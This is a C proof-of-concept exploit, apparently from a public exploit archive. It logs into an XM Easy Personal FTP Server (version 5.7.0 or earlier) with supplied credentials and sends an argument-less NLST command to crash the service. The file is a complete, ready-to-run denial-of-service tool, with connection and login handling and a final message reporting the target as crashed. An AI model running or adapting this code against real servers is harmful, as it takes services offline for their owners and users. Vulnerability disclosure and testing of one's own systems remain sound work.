/*
XM Easy Personnal FTP Server <= 5.7.0
Remote Denial of Service with Request (NLST)

---------------------------------------------------------------------------------------------------------
The vulnerability is caused due to an error in handling the NLST command. This can be exploited to crash
the FTP service by sending the "NLST" with NULL argument.
---------------------------------------------------------------------------------------------------------

Author: Jonathan Salwan
Mail  : submit [AT] shell-storm.org
Web   : http://www.shell-storm.org
*/

#include "stdio.h"
#include "unistd.h"
#include "stdlib.h"
#include "sys/types.h"
#include "sys/socket.h"
#include "netinet/in.h"

int syntax(char *file)
 {
 fprintf(stderr,"XM Easy Personnal FTP Server <= 5.7.0\n");
 fprintf(stderr,"=>Syntax  : <%s> <ip> <port> <login> <passwd>\n",file);
 fprintf(stdout,"=>Exemple : %s 127.0.0.1 21 login1 password1\n",file);
 exit(0);
 }

int main(int argc, char **argv)
{
 if (argc < 4)
  syntax(argv[0]);
 
 int port = atoi(argv[2]);

 int mysocket;
 int mysocket2;
 int srv_connect;
 int sockaddr_long;

  struct sockaddr_in sockaddr_mysocket;
  sockaddr_long = sizeof(sockaddr_mysocket);
  sockaddr_mysocket.sin_family = AF_INET;
  sockaddr_mysocket.sin_addr.s_addr = inet_addr(argv[1]);
  sockaddr_mysocket.sin_port = htons(port);

        char request[50];
 char answer[200];

        fprintf(stdout,"[+]Connect to Server %s\n",argv[1]);

                mysocket2 = socket(AF_INET, SOCK_STREAM, 0);
                        if(mysocket2 == -1){
                        fprintf(stderr,"[-]FAILED SOCKET\n");
   return 1;}

 srv_connect = connect(mysocket2, (struct sockaddr*)&sockaddr_mysocket, sockaddr_long);
  
 if (srv_connect != -1)
   { 

                memset(answer,0,200);
         recv(mysocket2,answer,sizeof(answer),0);

  sprintf(request, "USER %s\r\n", argv[3]);  
   if (send(mysocket2,request,strlen(request),0) == -1){
    fprintf(stderr,"[-]Send Request USER\t\t[FAILED]\n");
    shutdown(mysocket2,1);
    return 1;}
   else{
    memset(answer,0,200);
    recv(mysocket2,answer,sizeof(answer),0);
    }
  
  sprintf(request, "PASS %s\r\n", argv[4]);
                  if (send(mysocket2,request,strlen(request),0) == -1){
                          fprintf(stderr,"[-]Send Request PASS\t\t[FAILED]\n");
                          shutdown(mysocket2,1);
                          return 1;}
                  else{
     memset(answer,0,200);
                          recv(mysocket2,answer,sizeof(answer),0);
                   }
                sprintf(request, "NLST\r\n");
                        if (send(mysocket2,request,strlen(request),0) == -1){
                                fprintf(stderr,"[-]Send Request NLST\t\t[FAILED]\n");
                                shutdown(mysocket2,1);
                                return 1;}
   
  }
 else{
  fprintf(stderr,"[-]Connect\t\t[FAILED]\n");
  shutdown(mysocket2,1);
  return 1;}

 shutdown(mysocket2,1);

fprintf(stdout,"[+]Done! %s has been Crashed\n", argv[1]);
return 0;
}